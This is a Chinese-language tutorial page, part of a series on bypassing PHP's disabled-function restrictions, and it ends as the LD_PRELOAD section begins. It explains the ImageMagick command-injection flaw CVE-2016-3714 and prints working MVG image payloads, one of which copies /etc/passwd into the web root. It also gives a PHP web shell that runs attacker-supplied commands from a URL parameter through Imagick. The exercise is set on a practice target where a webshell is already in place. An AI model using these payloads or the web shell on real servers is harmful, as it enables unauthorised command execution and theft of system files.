主页 > 网络知识 > php中函数禁用绕过的原理与利用(3)

php中函数禁用绕过的原理与利用(3)

漏洞源于CVE-2016-3714,ImageMagick是一款图片处理程序,但当用户传入一张恶意图片时,会造成命令注入,其中还有其他如ssrf、文件读取等,当然最致命的肯定是命令注入。

而在漏洞出来之后各位师傅联想到php扩展中也使用了ImageMagick,当然也就存在着漏洞的可能,并且因为漏洞的原理是直接执行系统命令,所以也就不存在是否被disable的可能,因此可以被用于bypass disable。

关于更加详细的漏洞分析请看p神的文章:CVE-2016-3714 - ImageMagick 命令执行分析,我直接摘取原文中比较具有概括性的漏洞说明:

漏洞报告中给出的POC是利用了如下的这个委托:

<delegate decode="https" command="&quot;curl&quot; -s -k -o &quot;%o&quot; &quot;https:%M&quot;"/>

它在解析https图片的时候,使用了curl命令将其下载,我们看到%M被直接放在curl的最后一个参数内。ImageMagick默认支持一种图片格式,叫mvg,而mvg与svg格式类似,其中是以文本形式写入矢量图的内容,而这其中就可以包含https处理过程。

所以我们可以构造一个.mvg格式的图片(但文件名可以不为.mvg,比如下图中包含payload的文件的文件名为vul.gif,而ImageMagick会根据其内容识别为mvg图片),并在https://后面闭合双引号,写入自己要执行的命令:

push graphic-context viewbox 0 0 640 480 fill 'url(https://"|id; ")' pop graphic-context

这样,ImageMagick在正常执行图片转换、处理的时候就会触发漏洞。

漏洞的利用极其简单,只需要构造一张恶意的图片,new一个类即可触发该漏洞:

<?php new Imagick('test.mvg'); 利用

那么依旧以靶场题为例,依旧以拥有一句话马儿为前提,我们首先上传一个图片,如上面所述的我们图片的后缀无需mvg,因此上传一个jpg图片:

 

image.png

 

push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'https://127.0.0.1/x.php?x=`cat /etc/passwd > /var/www/html/success`' pop graphic-context

那么因为我们看不到回显,所以可以考虑将结果写入到文件中,或者直接执行反弹shell。

然后如上上传一个poc.php:

<?php new Imagick('vul.jpg');

访问即可看到我们写入的文件。

那么这一流程颇为繁琐(当我们需要多次执行命令进行测试时就需要多次调整图片内容),因此我们可以写一个php马来动态传入命令:

<?php $command = $_GET['cmd']; if ($command == '') {     $command = 'whoami>success'; } $exploit = <<<EOF push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'https://127.0.0.1/x.php?x=`$command`' pop graphic-context EOF; file_put_contents("test.mvg", $exploit); $thumb = new Imagick(); $thumb->readImage('test.mvg'); $thumb->writeImage('test.png'); $thumb->clear(); $thumb->destroy(); unlink("test.mvg"); unlink("test.png"); ?> LD_PRELOAD

喜闻乐见的LD_PRELOAD,这是我学习web时遇到的第一个bypass disable的方式,个人觉得很有意思。

原理

LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

而我们bypass的关键就是利用LD_PRELOAD加载库优先的特点来让我们自己编写的动态链接库优先于正常的函数库,以此达成执行system命令。

因为id命令比较易于观察,网上文章也大同小异采用了id命令下的getuid/getgid来做测试,为做个试验笔者换成了

我们先看看id命令的调用函数:

strace -f /usr/bin/id
说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!